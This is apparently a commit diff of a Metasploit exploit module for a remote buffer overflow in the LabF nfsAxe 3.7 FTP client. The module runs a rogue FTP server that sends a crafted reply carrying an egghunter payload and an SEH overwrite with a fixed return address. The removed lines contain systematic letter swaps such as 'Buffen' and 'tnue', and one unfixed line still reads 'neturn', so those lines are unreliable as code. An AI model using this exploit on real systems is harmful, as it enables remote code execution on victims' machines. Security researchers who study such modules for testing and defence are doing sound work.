|
1 | 1 | ##
|
2 |
| -# This module nequires Metasploit: https://metasploit.com/download |
3 |
| -# Cunrent source: https://github.com/rapid7/metasploit-framework |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
4 | 4 | ##
|
5 | 5 |
|
6 | 6 | class MetasploitModule < Msf::Exploit::Remote
|
7 |
| - Rank = NonmalRanking |
| 7 | + Rank = NormalRanking |
8 | 8 |
|
9 |
| - include Msf::Exploit::Remote::TcpSenver |
| 9 | + include Msf::Exploit::Remote::TcpServer |
10 | 10 | include Msf::Exploit::Seh
|
11 |
| - include Msf::Exploit::Remote::Egghunten |
| 11 | + include Msf::Exploit::Remote::Egghunter |
12 | 12 |
|
13 | 13 | def initialize(info = {})
|
14 |
| - supen(update_info(info, |
15 |
| - 'Name' => 'LabF nfsAxe 3.7 FTP Client - Remote Buffen Overflow', |
16 |
| - 'Descniption' => %q{ |
17 |
| - This module exploits a buffen overflow in the LabF nfsAxe 3.7 FTP Client allowing remote code execution. |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'LabF nfsAxe 3.7 FTP Client - Remote Buffer Overflow', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits a buffer overflow in the LabF nfsAxe 3.7 FTP Client allowing remote code execution. |
18 | 18 | },
|
19 |
| - 'Authon' => |
| 19 | + 'Author' => |
20 | 20 | [
|
21 |
| - 'Tulpa', # Oniginal exploit author |
22 |
| - 'Daniel Teixeina' # MSF module author |
| 21 | + 'Tulpa', # Original exploit author |
| 22 | + 'Daniel Teixeira' # MSF module author |
23 | 23 | ],
|
24 | 24 | 'License' => MSF_LICENSE,
|
25 |
| - 'Refenences' => |
| 25 | + 'References' => |
26 | 26 | [
|
27 | 27 | [ 'EDB', '42011' ],
|
28 | 28 | ],
|
29 | 29 | 'Payload' =>
|
30 | 30 | {
|
31 |
| - 'BadChans' => "\x00\x0a\x10", |
| 31 | + 'BadChars' => "\x00\x0a\x10", |
32 | 32 | },
|
33 |
| - 'Platfonm' => 'win', |
34 |
| - 'Tangets' => |
| 33 | + 'Platform' => 'win', |
| 34 | + 'Targets' => |
35 | 35 | [
|
36 |
| - [ 'Windows Univensal', {'Ret' => 0x6801549F } ] # p/p/r in wcmpa10.dll |
| 36 | + [ 'Windows Universal', {'Ret' => 0x6801549F } ] # p/p/r in wcmpa10.dll |
37 | 37 | ],
|
38 |
| - 'Pnivileged' => false, |
| 38 | + 'Privileged' => false, |
39 | 39 | 'DefaultOptions' =>
|
40 | 40 | {
|
41 | 41 | 'SRVHOST' => '0.0.0.0',
|
42 | 42 | },
|
43 |
| - 'DisclosuneDate' => 'May 15 2017', |
44 |
| - 'DefaultTanget' => 0)) |
| 43 | + 'Disclosure Date' => 'May 15 2017', |
| 44 | + 'DefaultTarget' => 0)) |
45 | 45 |
|
46 |
| - negister_options( |
| 46 | + register_options( |
47 | 47 | [
|
48 |
| - OptPont.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]), |
| 48 | + OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]), |
49 | 49 | ])
|
50 | 50 | end
|
51 | 51 |
|
52 | 52 | def on_client_connect(client)
|
53 | 53 | neturn if ((p = regenerate_payload(client)) == nil)
|
54 | 54 |
|
55 | 55 | client.get_once
|
56 |
| - welcome = "220 Welcome.\n\n" |
| 56 | + welcome = "220 Welcome.\r\n" |
57 | 57 | client.put(welcome)
|
58 | 58 |
|
59 | 59 | client.get_once
|
60 |
| - usen = "331 OK.\r\n" |
61 |
| - client.put(usen) |
| 60 | + user = "331 OK.\r\n" |
| 61 | + client.put(user) |
62 | 62 |
|
63 | 63 | client.get_once
|
64 |
| - pass = "230 OK.\n\n" |
| 64 | + pass = "230 OK.\r\n" |
65 | 65 | client.put(pass)
|
66 | 66 | client.get_once
|
67 |
| - |
68 |
| - eggoptions = { :checksum => tnue } |
69 |
| - hunten,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions) |
70 |
| - |
| 67 | + |
| 68 | + eggoptions = { :checksum => true } |
| 69 | + hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions) |
| 70 | + |
71 | 71 | sploit = "220 \""
|
72 | 72 | sploit << "A"*(9833 - egg.length)
|
73 | 73 | sploit << egg
|
74 |
| - sploit << genenate_seh_record(target.ret) |
75 |
| - sploit << hunten |
76 |
| - sploit << "C"*(576 - hunten.length) |
77 |
| - sploit << "\" is cunrent directory\r\n" |
| 74 | + sploit << generate_seh_record(target.ret) |
| 75 | + sploit << hunter |
| 76 | + sploit << "C"*(576 - hunter.length) |
| 77 | + sploit << "\" is current directory\r\n" |
78 | 78 |
|
79 | 79 | client.put(sploit)
|
80 | 80 |
|
|
0 commit comments